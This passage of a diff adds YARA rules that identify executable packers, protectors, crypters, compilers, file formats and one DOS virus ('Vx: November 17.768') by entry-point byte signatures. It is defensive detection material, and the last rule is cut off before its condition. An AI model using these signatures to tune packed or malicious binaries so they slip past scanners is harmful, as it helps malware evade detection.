+rule _PKLite_103_COM_
+{
+	meta:
+		description = "PKLite 1.03 [COM]"
+	strings:
+		$0 = {B8 00 00 BA 00 00 3B C4 73 67 8B C4 2D 44 03 25 F0 FF 8B F8 B9 A2 00 BE 7C 01 FC F3 A5 8B D8 B1 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 03 01}
+	condition:
+		$0 at entrypoint
+}
+rule _ZMExe_Executable_Image_
+{
+	meta:
+		description = "ZM-Exe Executable Image"
+	strings:
+		$0 = {5A 4D}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Gleam_100_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Gleam 1.00"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF E9}
+		$1 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AntiDote_V10__SISTeam_
+{
+	meta:
+		description = "AntiDote V1.0 -> SIS-Team"
+	strings:
+		$0 = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 DC 01 4D 65 73 73 61 67 65 42 6F 78 41 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 C5 02 73 74 72 73 74 72 00 00 91 02 6D 61 6C 6C 6F 63 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 49 00 5F 5F 43 78 78 46 72 61 6D 65 48 61 6E 64 6C 65 72 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_10061__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.0.0.61 -> Obsidium Software"
+	strings:
+		$0 = {E8 AF 1C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V36__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.6 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 83 38 01 0F 84 47 02 00 00}
+		$1 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 83 38 01 0F 84 47 02 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _QrYPt0r__by_NuTraL_
+{
+	meta:
+		description = "QrYPt0r - by NuTraL"
+	strings:
+		$0 = {EB 00 E8 B5 00 00 00 E9 2E 01 00 00 64 FF 35 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 64 89 25 00 00 00 00 8B 44 24 04}
+		$1 = {80 F9 00 0F 84 8D 01 00 00 8A C3 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32 C1 3C F3 75 89 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? BA D9 04 00 00 E8 00 00 00 00 5F 81 C7 16 01 00 00 80 2C 3A 01}
+		$2 = {86 18 CC 64 FF 35 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 64 89 25 00 00 00 00 BB 00 00 F7 BF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B8 78 56 34 12 87 03 E8 CD FE FF FF E8 B3}
+		$3 = {EB 00 E8 B5 00 00 00 E9 2E 01 00 00 64 FF 35 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 64 89 25 00 00 00 00 8B 44 24 04}
+		$4 = {80 F9 00 0F 84 8D 01 00 00 8A C3 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32 C1 3C F3 75 89}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3 or $4 at entrypoint
+}
+rule _tElock_v098_
+{
+	meta:
+		description = "tElock v0.98"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E}
+		$1 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__bartxt_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> bart/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 97 33 C9 41 FF D3 13 C9 FF D3 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 5B 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 58 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 89 06 AD 85 C0 75 D9 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 88 01 00 00}
+		$1 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+		$2 = {80 E9 A1 C1 C1 13 68 E4 16 75 46 C1 C1 05 5E EB 01 9D 68 64 86 37 46 EB 02 8C E0 5F F7 D0}
+		$3 = {EB 01 02 EB 02 CD 20 B8 80 ?? 42 00 EB 01 55 BE F4 00 00 00 13 DF 13 D8 0F B6 38 D1 F3 F7}
+		$4 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB 27 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 07 74 EF FE 07 75 06 47 FF 37 AF EB 09 FE 07 0F 84 1A ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1B ?? ?? 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _FreeJoiner_152_Stub_engine_16__GlOFF_
+{
+	meta:
+		description = "FreeJoiner 1.5.2 (Stub engine 1.6) -> GlOFF"
+	strings:
+		$0 = {E8 46 FD FF FF 50 E8 0C 00 00 00 FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+		$1 = {E8 46 FD FF FF 50 E8 0C 00 00 00 FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_024__027_beta__028_alpha__Dwing_
+{
+	meta:
+		description = "Upack 0.24 - 0.27 beta / 0.28 alpha -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0}
+		$1 = {BE 88 01 40 00 AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EncryptPE_V22006710V220070411__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2006.7.10-V2.2007.04.11 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 00}
+		$1 = {60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_November_17768_
+{
+	meta:
+		description = "Vx: November 17.768"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? 50 33 C0 8E D8 80 3E ?? ?? ?? 0E 1F ?? ?? FC}
+		$1 = {E8 ?? ?? 5E 81 EE ?? ?? 50 33 C0 8E D8 80 3E ?? ?? ?? 0E 1F ?? ?? FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v60_DLL_
+{
+	meta:
+		description = "Microsoft Visual Basic v6.0 DLL"
+	strings:
+		$0 = {55 89 E5 83 EC 08 83 C4 F4 6A 02 A1 C8 ?? ?? ?? FF D0 E8 ?? ?? ?? ?? C9 C3}
+		$1 = {5A 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E9 ?? ?? FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Petite_20_
+{
+	meta:
+		description = "Petite 2.0"
+	strings:
+		$0 = {B8 00 00 00 00 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 18 8B CC 8D A0 54 BC 00 00 8B C3 8D 90 E0 15 00 00 68 00 00 00 00 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 E3 00 00 FF 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _Wicat_GED_Graphics_format_
+{
+	meta:
+		description = "Wicat GED Graphics format"
+	strings:
+		$0 = {0D 00 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_090__099_ds_EXE_
+{
+	meta:
+		description = "aPack 0.90 - 0.99 -d/-s [EXE]"
+	strings:
+		$0 = {8C CB BA 00 00 03 DA FC 33 F6 33 FF 4B 8E DB 8D 87 00 00 8E C0 B9 08 00 F3 A5 4A 75 EB 8E C3 8E D8 33 FF BE 2E 00 05 00 00 0E 50 6A 00 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Stealth_275a__WebtoolMaster_
+{
+	meta:
+		description = "Exe Stealth 2.75a -> WebtoolMaster"
+	strings:
+		$0 = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72}
+		$1 = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 90 60 90 E8 00 00 00 00 5D 81 ED F7 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 74 28 40 00 8B F7 AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FreeBASIC_016b_
+{
+	meta:
+		description = "FreeBASIC 0.16b"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D}
+		$1 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Diet_143144_EXE_
+{
+	meta:
+		description = "Diet 1.43/1.44 [EXE]"
+	strings:
+		$0 = {F9 9C EB 09 00 00 0A 00 00 00 55 F8 9C 06 1E 57 56 52 51 53 50 0E FC 8C C8 2E 01 06 49 00 BA 00 00 03 C2 8B D8 05 00 00 8E DB 8E C0 33 F6 33 FF B9 08 00 F3 A5 4B 48 4A 79 EE 8E C3 8E D8 BE 66 00 AD 8B E8 B2 10 EA 00 00 00 00 64 6C 7A}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_v27b__Exeshield__Corp_
+{
+	meta:
+		description = "EXE Shield v2.7b -> Exeshield  Corp."
+	strings:
+		$0 = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40 00 03 9D E6 90 40 00 53 8B C3 8B FB 2D AC 90 40 00 89 85 AD 90 40 00 8D B5 AC 90 40 00 B9 40 04 00 00 F3 A5 8B FB C3 BD 00 00 00 00 8B F7 83 C6 54 81 C7 FF 10 00 00 56 57 57 56 FF 95 DA 90 40 00 8B C8 5E 5F 8B C1 C1 F9 02 F3 A5 03 C8 83 E1 03 F3 A4 EB 26 D0 12 5B 00 AC 12 5B 00 48 12 5B 00 00 00 40 00 00 D0 5A 00 00 10 5B 00 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 8B 0E B5 E6 90 40 07 56 03 76 EE 0F 18 83 C6 14 12 35 97 80 8D BD 63 39 0D B9 06 86 02 07 F3 A5 6A 04 68 06 10 12 1B FF B5 51 29 EE 10 22 95}
+	condition:
+		$0 at entrypoint
+}
+rule _PEArmor_V0760V0765__hying_
+{
+	meta:
+		description = "PE-Armor V0.760-V0.765 -> hying"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72}
+	condition:
+		$0 at entrypoint
+}
+rule _DEF_v100_Eng__bartxt_
+{
+	meta:
+		description = "DEF v1.00 (Eng) -> bart/xt"
+	strings:
+		$0 = {1E B4 30 CD 21 3C 02 73 ?? CD 20 BE ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_v118_Basic_DLL_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack v1.18 Basic DLL [aPLib] -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_Patch__Dwing_
+{
+	meta:
+		description = "Upack_Patch -> Dwing"
+	strings:
+		$0 = {2A A3 F2 54 CE}
+		$1 = {81 3A 00 00 00 02 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V121_Dll_aPlib_043__ap0x____20080504_
+{
+	meta:
+		description = "RLPack V1.21 Dll (aPlib 0.43) -> ap0x   * 20080504"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 74 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 D6 05 00 00 EB 0C 8B 85 D2 05 00 00 89 85 D6 05 00 00 E8 4C 01 00 00 8D B5 FE 05 00 00 8D 9D 85 04 00 00 33 FF E8 77 01 00 00 EB 1B 8B 85 D6 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD E2 05 00 00 00 74 0E 83 BD E6 05 00 00 00 74 05 E8 15 02 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 6B 05 00 00 89 85 FA 05 00 00 5B FF B5 FA 05 00 00 56 FF D3 83 C4 08 8B B5 FA 05 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD D6 05 00 00 83 C0 04 89 85 F6 05 00 00 EB 6E 56 FF 95 63 05 00 00 0B C0 75 05 E8 08 03 00 00 85 C0 0F 84 95 00 00 00 89 85 F2 05 00 00 8B C6 EB 2A 8B 85 F6 05 00 00 8B 00 50 FF B5 F2 05 00 00 E8 50 02 00 00 85 C0 74 73 89 07 83 85 F6 05 00 00 04 83 C7 04 8B 85 F6 05 00 00 83 38 00 75 D1 EB 01 46 80 3E 00 75 FA 46 83 C0 04 8B 38 03 BD D6 05 00 00 83 C0 04 89 85 F6 05 00 00 80 3E 01 75 8D 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 FA 05 00 00 FF 95 6F 05 00 00 68 ?? ?? ?? ?? 6A 00 FF B5 FA 05 00 00 FF 95 6F 05 00 00 E8 A0 00 00 00 E8 9B 01 00 00 61 E9 ?? ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v2xx_CopyMem_II_
+{
+	meta:
+		description = "Armadillo v2.xx (CopyMem II)"
+	strings:
+		$0 = {6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 89 65 ?? 8B F4 89 3E 56 FF 15 ?? ?? ?? ?? 8B 4E ?? 89 0D ?? ?? ?? ?? 8B 46 ?? A3}
+		$1 = {6A ?? 8B B5 ?? ?? ?? ?? C1 E6 04 8B 85 ?? ?? ?? ?? 25 07 ?? ?? 80 79 05 48 83 C8 F8 40 33 C9 8A 88 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 81 E2 07 ?? ?? 80 79 05 4A 83 CA F8 42 33 C0 8A 82}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VITec_graphics_file_format_
+{
+	meta:
+		description = "VITec graphics file format"
+	strings:
+		$0 = {00 5B 07 20 00 00 00 2C}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPACK_v10_by_ANAKiN_1998__
+{
+	meta:
+		description = "PE-PACK v1.0 by ANAKiN 1998 (???)"
+	strings:
+		$0 = {74 ?? E9 ?? ?? ?? ?? 00 00 00 00}
+		$1 = {74 ?? E9 ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_1332__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 02 ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 3B 27 00 00}
+		$1 = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0}
+		$2 = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 02 ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 3B 27 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _SmokesCrypt_v12__Smoke_
+{
+	meta:
+		description = "SmokesCrypt v1.2 -> Smoke"
+	strings:
+		$0 = {60 B8 ?? ?? ?? 00 B8 ?? ?? ?? 00 8A 14 08 80 F2 ?? 88 14 08 41 83 F9 ?? 75 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _PCPEC_alpha_
+{
+	meta:
+		description = "PCPEC [alpha"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 8B CD 81 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 83}
+		$1 = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 8B CD 81 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_PE_Intro_10_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Intro 1.0"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_ASPack_211d__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake ASPack 2.11d) -> emadicius"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
